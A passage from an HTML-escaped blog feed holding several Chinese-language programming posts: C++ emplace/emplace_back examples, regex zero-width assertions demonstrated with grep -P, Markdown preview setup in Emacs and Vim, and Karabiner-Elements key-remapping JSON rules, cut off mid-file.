&amp;#x2F;&amp;#x2F; reference: http:&amp;#x2F;&amp;#x2F;www.cplusplus.com&amp;#x2F;reference&amp;#x2F;vector&amp;#x2F;vector&amp;#x2F;emplace_back&amp;#x2F;
int test_emplace_1()
{
{
	&amp;#x2F;*
		template &amp;lt;class... Args&amp;gt;
		void emplace_back (Args&amp;amp;&amp;amp;... args);
	*&amp;#x2F;
	std::vector&amp;lt;int&amp;gt; myvector = { 10, 20, 30 };
 
	myvector.emplace_back(100);
	myvector.emplace_back(200);
 
	std::cout &amp;lt;&amp;lt; &amp;quot;myvector contains:&amp;quot;;
	for (auto&amp;amp; x : myvector)
		std::cout &amp;lt;&amp;lt; &amp;#x27; &amp;#x27; &amp;lt;&amp;lt; x;
	std::cout &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
}
 
{
	&amp;#x2F;*
		template &amp;lt;class... Args&amp;gt;
		iterator emplace (const_iterator position, Args&amp;amp;&amp;amp;... args);
	*&amp;#x2F;
	std::vector&amp;lt;int&amp;gt; myvector = { 10, 20, 30 };
 
	auto it = myvector.emplace(myvector.begin() + 1, 100);
	myvector.emplace(it, 200);
	myvector.emplace(myvector.end(), 300);
 
	std::cout &amp;lt;&amp;lt; &amp;quot;myvector contains:&amp;quot;;
	for (auto&amp;amp; x : myvector)
		std::cout &amp;lt;&amp;lt; &amp;#x27; &amp;#x27; &amp;lt;&amp;lt; x;
	std::cout &amp;lt;&amp;lt; &amp;#x27;\n&amp;#x27;;
}
 
	return 0;
}
 
&amp;#x2F;&amp;#x2F;&amp;#x2F;
&amp;#x2F;&amp;#x2F; reference: http:&amp;#x2F;&amp;#x2F;en.cppreference.com&amp;#x2F;w&amp;#x2F;cpp&amp;#x2F;container&amp;#x2F;vector&amp;#x2F;emplace_back
namespace {
struct President {
	std::string name;
	std::string country;
	int year;
 
	President(std::string p_name, std::string p_country, int p_year)
		: name(std::move(p_name)), country(std::move(p_country)), year(p_year)
	{
		std::cout &amp;lt;&amp;lt; &amp;quot;I am being constructed.\n&amp;quot;;
	}
	President(President&amp;amp;&amp;amp; other)
		: name(std::move(other.name)), country(std::move(other.country)), year(other.year)
	{
		std::cout &amp;lt;&amp;lt; &amp;quot;I am being moved.\n&amp;quot;;
	}
	President&amp;amp; operator=(const President&amp;amp; other) = default;
};
}
 
int test_emplace_2()
{
	&amp;#x2F;*
		The following code uses emplace_back to append an object of type President to a std::vector.
		It demonstrates how emplace_back forwards parameters to the President constructor and shows
		how using emplace_back avoids the extra copy or move operation required when using push_back.
	*&amp;#x2F;
	std::vector&amp;lt;President&amp;gt; elections;
	std::cout &amp;lt;&amp;lt; &amp;quot;emplace_back:\n&amp;quot;;
	elections.emplace_back(&amp;quot;Nelson Mandela&amp;quot;, &amp;quot;South Africa&amp;quot;, 1994);
 
	std::vector&amp;lt;President&amp;gt; reElections;
	std::cout &amp;lt;&amp;lt; &amp;quot;\npush_back:\n&amp;quot;;
	reElections.push_back(President(&amp;quot;Franklin Delano Roosevelt&amp;quot;, &amp;quot;the USA&amp;quot;, 1936));
 
	std::cout &amp;lt;&amp;lt; &amp;quot;\nContents:\n&amp;quot;;
	for (President const&amp;amp; president : elections) {
		std::cout &amp;lt;&amp;lt; president.name &amp;lt;&amp;lt; &amp;quot; was elected president of &amp;quot;
			&amp;lt;&amp;lt; president.country &amp;lt;&amp;lt; &amp;quot; in &amp;quot; &amp;lt;&amp;lt; president.year &amp;lt;&amp;lt; &amp;quot;.\n&amp;quot;;
	}
	for (President const&amp;amp; president : reElections) {
		std::cout &amp;lt;&amp;lt; president.name &amp;lt;&amp;lt; &amp;quot; was re-elected president of &amp;quot;
			&amp;lt;&amp;lt; president.country &amp;lt;&amp;lt; &amp;quot; in &amp;quot; &amp;lt;&amp;lt; president.year &amp;lt;&amp;lt; &amp;quot;.\n&amp;quot;;
	}
 
	return 0;
}
 
 
&amp;#x2F;&amp;#x2F; reference: https:&amp;#x2F;&amp;#x2F;stackoverflow.com&amp;#x2F;questions&amp;#x2F;4303513&amp;#x2F;push-back-vs-emplace-back
int test_emplace_3()
{
	&amp;#x2F;*
		template &amp;lt;class... Args&amp;gt;
		pair&amp;lt;iterator,bool&amp;gt; emplace (Args&amp;amp;&amp;amp;... args);
	*&amp;#x2F;
	typedef std::tuple&amp;lt;int, double, std::string&amp;gt; Complicated;
 
	std::map&amp;lt;int, Complicated&amp;gt; m;
	int anInt = 4;
	double aDouble = 5.0;
	std::string aString = &amp;quot;C++&amp;quot;;
 
	&amp;#x2F;&amp;#x2F; cross your finger so that the optimizer is really good
	&amp;#x2F;&amp;#x2F;m.insert(&amp;#x2F;*std::make_pair*&amp;#x2F;std::pair&amp;lt;int, Complicated&amp;gt;(4, Complicated(anInt, aDouble, aString)));
	m.insert(std::make_pair(4, Complicated(anInt, aDouble, aString)));
 
	&amp;#x2F;&amp;#x2F; should be easier for the optimizer
	m.emplace(6, Complicated(anInt, aDouble, aString));
	&amp;#x2F;*
		std::piecewise_construct: This constant value is passed as the first argument to construct a pair object
		to select the constructor form that constructs its members in place by forwarding the elements of two
		tuple objects to their respective constructor.
	*&amp;#x2F;
	m.emplace(std::piecewise_construct, std::make_tuple(8), std::make_tuple(anInt, aDouble, aString));
 
	return 0;
}
 
&amp;#x2F;&amp;#x2F;
&amp;#x2F;&amp;#x2F; reference: https:&amp;#x2F;&amp;#x2F;corecplusplustutorial.com&amp;#x2F;difference-between-emplace_back-and-push_back-function&amp;#x2F;
namespace {
class Dat {
	int i;
	std::string ss;
	char c;
 
public:
	Dat(int ii, std::string s, char cc) :i(ii), ss(s), c(cc) { }
 
	~Dat() { }
};
}
 
int test_emplace_4()
{
	std::vector&amp;lt;Dat&amp;gt; vec;
	vec.reserve(3);
 
	vec.push_back(Dat(89, &amp;quot;New&amp;quot;, &amp;#x27;G&amp;#x27;)); &amp;#x2F;&amp;#x2F; efficiency lesser
	&amp;#x2F;&amp;#x2F;vec.push_back(678, &amp;quot;Newer&amp;quot;, &amp;#x27;O&amp;#x27;); &amp;#x2F;&amp;#x2F; error,push_back can’t accept three arguments
	vec.emplace_back(890, &amp;quot;Newest&amp;quot;, &amp;#x27;D&amp;#x27;); &amp;#x2F;&amp;#x2F; work fine, efficiency is also more
 
	return 0;
}
 
} &amp;#x2F;&amp;#x2F; namespace emplace_
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;yuan-wen-wei-zhi&quot;&gt;原文位置&lt;&#x2F;h1&gt;
&lt;p&gt;https:&#x2F;&#x2F;www.jianshu.com&#x2F;p&#x2F;caad33287dc3&lt;br&gt;
https:&#x2F;&#x2F;blog.csdn.net&#x2F;fengbingchun&#x2F;article&#x2F;details&#x2F;78670376&lt;br&gt;
https:&#x2F;&#x2F;github.com&#x2F;fengbingchun&#x2F;Messy_Test&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>零宽断言</title>
        <published>2022-03-14T19:02:50+08:00</published>
        <updated>2022-03-14T19:02:50+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/03/零宽断言/"/>
        <id>https://vercel.juzhong.asia/2022/03/零宽断言/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/03/零宽断言/">&lt;h1 id=&quot;ling-kuan-duan-yan&quot;&gt;零宽断言&lt;&#x2F;h1&gt;
&lt;p&gt;正则表达式通常被用来检索、替换那些符合某个模式(规则)的文本。
零宽断言用于查找在某些内容(但并不包括这些内容)之前或之后的东西，它们像 \b ^ $ &amp;lt; &amp;gt; 这样的锚定作用，用于指定一个位置，这个位置应该满足一定的条件(即断言)，因此它们也被称为零宽断言。 断言用来声明一个应该为真的事实。正则表达式中只有当断言为真时才会继续进行匹配。
zero width assertion 主要分为四种：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;先行断言 (?=exp)&lt;&#x2F;li&gt;
&lt;li&gt;后发断言 (?&amp;lt;=exp)&lt;&#x2F;li&gt;
&lt;li&gt;负向零宽先行断言 (?!exp)&lt;&#x2F;li&gt;
&lt;li&gt;负向零宽后发断言(?&amp;lt;!exp)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;xian-xing-duan-yan&quot;&gt;先行断言&lt;&#x2F;h1&gt;
&lt;p&gt;表示匹配表达式前面的位置
如匹配ing前的单词&lt;br&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;echo cooking singing | grep -oP &amp;#x27;\w+(?=ing)&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;^ 表示position0； (?=&amp;lt;)表示&amp;lt;之前的位置，在这里同样是position0&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;echo &amp;quot;&amp;lt;div&amp;gt;antzone&amp;quot; | grep -oP &amp;#x27;^(?=&amp;lt;)&amp;lt;[^&amp;gt;]+&amp;gt;\w+&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yi-ge-you-qu-de-li-zi&quot;&gt;一个有趣的例子&lt;&#x2F;h2&gt;
&lt;p&gt;从这里可以看到先行断言用于对断言前的表达式配置位置&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;echo abc | grep -oP &amp;#x27;a(?=b)c&amp;#x27;   # not match
echo abc | grep -oP &amp;#x27;a(?=b)bc&amp;#x27;   # not match
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;hou-fa-duan-yan&quot;&gt;后发断言&lt;&#x2F;h1&gt;
&lt;p&gt;匹配表达式后面的位置
获取内核版本
去除变量值&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;echo kernel-5.6 kernel-2.6 kernel-3.8 | grep -oP &amp;#x27;(?&amp;lt;=kernel-)[0-9.]+&amp;#x27;
echo &amp;#x27;aaa bbb CD=&amp;quot;123&amp;quot;&amp;#x27; | grep -oP &amp;#x27;(?&amp;lt;=CD=&amp;quot;)\d+&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;grep-p&quot;&gt;grep -P&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;acefei.github.io&#x2F;k-magic-in-regex.html&quot;&gt;grep -P alternative&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;echo &amp;quot;abc: 123 def 456 ghi: 789&amp;quot; | grep -Po &amp;#x27;:\s*\K\d+&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;fu-xiang-ling-kuan-xian-xing-duan-yan&quot;&gt;负向零宽先行断言&lt;&#x2F;h1&gt;
&lt;p&gt;匹配第二个ab, 因为第一个ab后为A-Z&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;echo &amp;quot;abZW863ab88&amp;quot; | grep -oP &amp;#x27;ab(?![A-Z])&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;fu-xiang-ling-kuan-hou-fa-duan-yan&quot;&gt;负向零宽后发断言&lt;&#x2F;h1&gt;
&lt;p&gt;匹配ABC后的abc，数字后的不能匹配&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;echo 123abcABCabc | grep -oP &amp;#x27;(?&amp;lt;![0-9])abc&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;ying-yong&quot;&gt;应用&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;htmlbiao-qian-nei-rong&quot;&gt;HTML标签内容&lt;&#x2F;h2&gt;
&lt;p&gt;(?&amp;lt;=&amp;lt;(\w+)&amp;gt;).&lt;em&gt;(?=&amp;lt;&#x2F;\1&amp;gt;)
匹配不包含属性的简单HTML标签内里的内容。(?&amp;lt;=&amp;lt;(\w+)&amp;gt;)指定了这样的前缀：被尖括号括起来的单词(比如可能是&lt;b&gt;)，然后是.&lt;&#x2F;em&gt;(任意的字符串),最后是一个后缀(?=&amp;lt;&#x2F;\1&amp;gt;)。注意后缀里的&#x2F;，它用到了前面提过的字符转义；\1则是一个反向引用，引用的正是捕获的第一组，前面的(\w+)匹配的内容，这样如果前缀实际上是&lt;b&gt;的话，后缀就是&lt;&#x2F;b&gt;了。整个表达式匹配的是&lt;b&gt;和&lt;&#x2F;b&gt;之间的内容(再次提醒，不包括前缀和后缀本身)。&lt;br&gt;&lt;&#x2F;p&gt;
&lt;p&gt;grep  -oP :-perl-regexp
不支持不定长的零宽断言，这里就暂时写一个单字母tag例子&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;echo &amp;#x27;&amp;lt;b&amp;gt;hello&amp;lt;&amp;#x2F;b&amp;gt;&amp;#x27; | grep -oP &amp;#x27;(?&amp;lt;=&amp;lt;(\w{1})&amp;gt;).*(?=&amp;lt;\&amp;#x2F;\1&amp;gt;)&amp;#x27;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;总结&lt;&#x2F;h1&gt;
&lt;p&gt;常用分组语法&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;捕获 (exp) 匹配exp,并捕获文本到自动命名的组里&lt;&#x2F;li&gt;
&lt;li&gt;(?&lt;name&gt;exp) 匹配exp,并捕获文本到名称为name的组里，也可以写成(?&#x27;name&#x27;exp)&lt;&#x2F;li&gt;
&lt;li&gt;(?:exp) 匹配exp,不捕获匹配的文本，也不给此分组分配组号&lt;&#x2F;li&gt;
&lt;li&gt;零宽断言 (?=exp) 匹配exp前面的位置&lt;&#x2F;li&gt;
&lt;li&gt;(?&amp;lt;=exp) 匹配exp后面的位置&lt;&#x2F;li&gt;
&lt;li&gt;(?!exp) 匹配后面跟的不是exp的位置&lt;&#x2F;li&gt;
&lt;li&gt;(?&amp;lt;!exp) 匹配前面不是exp的位置&lt;&#x2F;li&gt;
&lt;li&gt;注释 (?#comment) 这种类型的分组不对正则表达式的处理产生任何影响，用于提供注释让人阅读&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>markdown-preview</title>
        <published>2022-03-13T23:00:36+08:00</published>
        <updated>2022-03-13T23:00:36+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/03/markdown-preview/"/>
        <id>https://vercel.juzhong.asia/2022/03/markdown-preview/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/03/markdown-preview/">&lt;h1 id=&quot;markdown-preview&quot;&gt;markdown-preview&lt;&#x2F;h1&gt;
&lt;h1 id=&quot;emacs-markdown-preview&quot;&gt;emacs markdown preview&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;zhi-jie-shang-cha-jian&quot;&gt;直接上插件&lt;&#x2F;h2&gt;
&lt;p&gt;grip-mode插件依赖&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;joeyespo&#x2F;grip&quot;&gt;grip&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;python3 -m pip install grip
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;之后使用use-package安装&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;seagle0128&#x2F;grip-mode&quot;&gt;grip-mode&lt;&#x2F;a&gt;, 这样在编辑markdown文件是就自动用浏览器打开预览了&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;(use-package grip-mode
  :ensure t
  :hook ((markdown-mode org-mode) . grip-mode))
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;yu-dao-wen-ti&quot;&gt;遇到问题&lt;&#x2F;h2&gt;
&lt;p&gt;macOS使用时遇到的问题&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;Error: [Errno 8] nodename nor servname provided, or not known&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;网上查询应该是域名localhost解析的问题,在&#x2F;etc&#x2F;hosts中添加&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;127.0.0.1 localhost&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;h1 id=&quot;vim-markdown-preview&quot;&gt;vim markdown preview&lt;&#x2F;h1&gt;
&lt;p&gt;插件安装完成，配置映射快捷键：&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;Plug &amp;#x27;iamcco&amp;#x2F;mathjax-support-for-mkdp&amp;#x27;
Plug &amp;#x27;iamcco&amp;#x2F;markdown-preview.vim&amp;#x27;

nmap &amp;lt;silent&amp;gt; &amp;lt;F8&amp;gt; &amp;lt;Plug&amp;gt;MarkdownPreview        &amp;quot; for normal mode
imap &amp;lt;silent&amp;gt; &amp;lt;F8&amp;gt; &amp;lt;Plug&amp;gt;MarkdownPreview        &amp;quot; for insert mode
nmap &amp;lt;silent&amp;gt; &amp;lt;F9&amp;gt; &amp;lt;Plug&amp;gt;StopMarkdownPreview    &amp;quot; for normal mode
imap &amp;lt;silent&amp;gt; &amp;lt;F9&amp;gt; &amp;lt;Plug&amp;gt;StopMarkdownPreview    &amp;quot; for insert mode
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;这个功能需要vim有Python2或者3的支持, 使用vim --version和gvim --version去查看&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;vim --version | grep python
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;blockquote&gt;
&lt;p&gt;vim --version  | grep python&lt;br&gt;
+comments          +libcall           +python            +visual&lt;br&gt;
-conceal           +linebreak         +python3           +visualextra&lt;br&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>karabiner-elements</title>
        <published>2022-03-12T22:35:58+08:00</published>
        <updated>2022-03-12T22:35:58+08:00</updated>
        
        <author>
          <name>
            
              moxuetianya
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://vercel.juzhong.asia/2022/03/karabiner-elements/"/>
        <id>https://vercel.juzhong.asia/2022/03/karabiner-elements/</id>
        
        <content type="html" xml:base="https://vercel.juzhong.asia/2022/03/karabiner-elements/">&lt;h1 id=&quot;karabiner-elements&quot;&gt;karabiner-elements&lt;&#x2F;h1&gt;
&lt;p&gt;使用命令行&#x2F;vim&#x2F;emacs等键盘操作比较多的用户，有一点感触就是：小拇指很容易累。本人起初不喜欢修改键盘映射，主要原因是定制化比较多的系统，在团队合作时互相操作会不方便，无论是自己偶尔在别人电脑上使用或者别人在自己的电脑上使用，都会不习惯。ORZ最后因为vim经常使用ctrl键，左小拇指开始疼痛，了解了一些腕管综合征知识&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;xahlee.info&#x2F;kbd&#x2F;latest_on_computer_related_pain.html&quot;&gt;(xahlee.info)&lt;&#x2F;a&gt; 囧，决定把几个常用的键映射一下。最近在使用的系统是macOS，这里就先记录一下使用到karabiner-elements的键盘映射。
这里尽量不修改键盘原来功能，而是将不常用的键直接映射为经常使用的功能。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;simple-modifications&quot;&gt;Simple Modifications&lt;&#x2F;h1&gt;
&lt;p&gt;尽量少的修改键盘映射，让偶尔同事使用电脑操作时可以正常使用，这里只进行了right_command &amp;gt; right_control的映射，解决使用ctrl键的问题，这样常用的command和ctrl键都使用大拇指操作，大大减少了小拇指的压力 &lt;sup&gt;.&lt;&#x2F;sup&gt;.&lt;br &#x2F;&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;03&#x2F;karabiner-elements&#x2F;image-20231225112202-lzi0d1o.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;complex-modifications&quot;&gt;complex modifications&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;需要解决的是经常需要enter键，对有小拇指的压力压力也比较明显，因此同时修改了enter的映射，如果只按压right_control，那么会映射为return_or_enter(这个真的挺合理，毕竟一般control键是和别的键搭配使用的，单独按压不影响原来的功能，赞)。&lt;&#x2F;li&gt;
&lt;li&gt;如果只按压left_command，那么会映射为escape.&lt;&#x2F;li&gt;
&lt;li&gt;另一个就是经常需要ctrl+p 进行选择上一个的功能，比如翻看命令行的历史记录，vim&#x2F;emacs补全时的上下选择，使用了command + h&#x2F;j&#x2F;k&#x2F;l。&lt;br &#x2F;&gt;
&lt;img src=&quot;https:&#x2F;&#x2F;vercel.juzhong.asia&#x2F;2022&#x2F;03&#x2F;karabiner-elements&#x2F;image-20231225112220-c6b39as.png&quot; alt=&quot;image&quot; &#x2F;&gt;&lt;&#x2F;li&gt;
&lt;li&gt;最后一个向前删除还没有找到特别合适的映射。&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;keymapping-for-linux&quot;&gt;keymapping for linux&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;alternativeto.net&#x2F;software&#x2F;karabiner-elements&#x2F;?platform=linux&quot;&gt;alternative of karabiner-elements&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Actiona&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Input Remapper&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;Repeat&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;xcape&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;xmodmap&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;kmonad&lt;&#x2F;p&gt;
&lt;p&gt;Wayland and TTY compatible. It&#x27;s awesome!!&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h1 id=&quot;ji-lu-yi-xia-ying-she-wen-jian-de-rule&quot;&gt;记录一下映射文件的rule&lt;&#x2F;h1&gt;
&lt;p&gt;~&#x2F;.config&#x2F;karabiner&#x2F;assets&#x2F;complex_modifications&#x2F;xxx.json&lt;&#x2F;p&gt;
&lt;pre&gt;&lt;code&gt;{
  &amp;quot;title&amp;quot;: &amp;quot;Personal rules (@kbdluv) (rev 2)&amp;quot;,
  &amp;quot;rules&amp;quot;: [
    {
      &amp;quot;description&amp;quot;: &amp;quot;Post Escape if Command_L is pressed alone.&amp;quot;,
      &amp;quot;manipulators&amp;quot;: [
        {
          &amp;quot;type&amp;quot;: &amp;quot;basic&amp;quot;,
          &amp;quot;from&amp;quot;: {
            &amp;quot;key_code&amp;quot;: &amp;quot;left_command&amp;quot;,
            &amp;quot;modifiers&amp;quot;: {
              &amp;quot;optional&amp;quot;: [
                &amp;quot;any&amp;quot;
              ]
            }
          },
          &amp;quot;to&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;left_command&amp;quot;,
              &amp;quot;lazy&amp;quot;: true
            }
          ],
          &amp;quot;to_if_alone&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;escape&amp;quot;
            }
          ]
        }
      ]
    },
    {
      &amp;quot;description&amp;quot;: &amp;quot;Post Escape if Command_R is pressed alone.&amp;quot;,
      &amp;quot;manipulators&amp;quot;: [
        {
          &amp;quot;type&amp;quot;: &amp;quot;basic&amp;quot;,
          &amp;quot;from&amp;quot;: {
            &amp;quot;key_code&amp;quot;: &amp;quot;right_command&amp;quot;,
            &amp;quot;modifiers&amp;quot;: {
              &amp;quot;optional&amp;quot;: [
                &amp;quot;any&amp;quot;
              ]
            }
          },
          &amp;quot;to&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;right_command&amp;quot;,
              &amp;quot;lazy&amp;quot;: true
            }
          ],
          &amp;quot;to_if_alone&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;escape&amp;quot;
            }
          ]
        }
      ]
    },
    {
      &amp;quot;description&amp;quot;: &amp;quot;Post left_control if Spacebar is held down.&amp;quot;,
      &amp;quot;manipulators&amp;quot;: [
        {
          &amp;quot;type&amp;quot;: &amp;quot;basic&amp;quot;,
          &amp;quot;from&amp;quot;: {
            &amp;quot;key_code&amp;quot;: &amp;quot;spacebar&amp;quot;,
            &amp;quot;modifiers&amp;quot;: {
              &amp;quot;optional&amp;quot;: [
                &amp;quot;any&amp;quot;
              ]
            }
          },
          &amp;quot;to_if_alone&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;spacebar&amp;quot;
            }
          ],
          &amp;quot;to&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;left_control&amp;quot;,
              &amp;quot;lazy&amp;quot;: true
            }
          ]
        }
      ]
    },
    {
      &amp;quot;description&amp;quot;: &amp;quot;Post grave_accent_and_tilde if Caps Lock is pressed alone, left_shift if held down. (rev 2)&amp;quot;,
      &amp;quot;manipulators&amp;quot;: [
        {
          &amp;quot;type&amp;quot;: &amp;quot;basic&amp;quot;,
          &amp;quot;from&amp;quot;: {
            &amp;quot;key_code&amp;quot;: &amp;quot;caps_lock&amp;quot;,
            &amp;quot;modifiers&amp;quot;: {
              &amp;quot;optional&amp;quot;: [
                &amp;quot;any&amp;quot;
              ]
            }
          },
          &amp;quot;to&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;left_shift&amp;quot;,
              &amp;quot;lazy&amp;quot;: true
            }
          ],
          &amp;quot;to_if_alone&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;grave_accent_and_tilde&amp;quot;
            }
          ]
        }
      ]
    },
    {
      &amp;quot;description&amp;quot;: &amp;quot;Post return_or_enter if Enter is pressed alone, right_shift if held down. (rev 2)&amp;quot;,
      &amp;quot;manipulators&amp;quot;: [
        {
          &amp;quot;type&amp;quot;: &amp;quot;basic&amp;quot;,
          &amp;quot;from&amp;quot;: {
            &amp;quot;key_code&amp;quot;: &amp;quot;return_or_enter&amp;quot;,
            &amp;quot;modifiers&amp;quot;: {
              &amp;quot;optional&amp;quot;: [
                &amp;quot;any&amp;quot;
              ]
            }
          },
          &amp;quot;to&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;right_shift&amp;quot;,
              &amp;quot;lazy&amp;quot;: true
            }
          ],
          &amp;quot;to_if_alone&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;return_or_enter&amp;quot;
            }
          ]
        }
      ]
    }
  ]
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;pre&gt;&lt;code&gt;{
  &amp;quot;title&amp;quot;: &amp;quot;Change control key&amp;quot;,
  &amp;quot;rules&amp;quot;: [
    {
      &amp;quot;description&amp;quot;: &amp;quot;Post escape if left_control is pressed alone.&amp;quot;,
      &amp;quot;manipulators&amp;quot;: [
        {
          &amp;quot;type&amp;quot;: &amp;quot;basic&amp;quot;,
          &amp;quot;from&amp;quot;: {
            &amp;quot;key_code&amp;quot;: &amp;quot;left_control&amp;quot;,
            &amp;quot;modifiers&amp;quot;: {
              &amp;quot;optional&amp;quot;: [
                &amp;quot;any&amp;quot;
              ]
            }
          },
          &amp;quot;to&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;left_control&amp;quot;
            }
          ],
          &amp;quot;to_if_alone&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;escape&amp;quot;
            }
          ]
        }
      ]
    },
    {
      &amp;quot;description&amp;quot;: &amp;quot;Post caps_lock if left_control is pressed alone.&amp;quot;,
      &amp;quot;manipulators&amp;quot;: [
        {
          &amp;quot;type&amp;quot;: &amp;quot;basic&amp;quot;,
          &amp;quot;from&amp;quot;: {
            &amp;quot;key_code&amp;quot;: &amp;quot;left_control&amp;quot;,
            &amp;quot;modifiers&amp;quot;: {
              &amp;quot;optional&amp;quot;: [
                &amp;quot;any&amp;quot;
              ]
            }
          },
          &amp;quot;to&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;left_control&amp;quot;
            }
          ],
          &amp;quot;to_if_alone&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;caps_lock&amp;quot;
            }
          ]
        }
      ]
    },
    {
      &amp;quot;description&amp;quot;: &amp;quot;Post return_or_enter if right_control is pressed alone.&amp;quot;,
      &amp;quot;manipulators&amp;quot;: [
        {
          &amp;quot;type&amp;quot;: &amp;quot;basic&amp;quot;,
          &amp;quot;from&amp;quot;: {
            &amp;quot;key_code&amp;quot;: &amp;quot;right_control&amp;quot;,
            &amp;quot;modifiers&amp;quot;: {
              &amp;quot;optional&amp;quot;: [
                &amp;quot;any&amp;quot;
              ]
            }
          },
          &amp;quot;to&amp;quot;: [
            {
              &amp;quot;key_code&amp;quot;: &amp;quot;right_control&amp;quot;
            }
          ],
          &amp;quot;to_if_alone&amp;quot;: [
            {
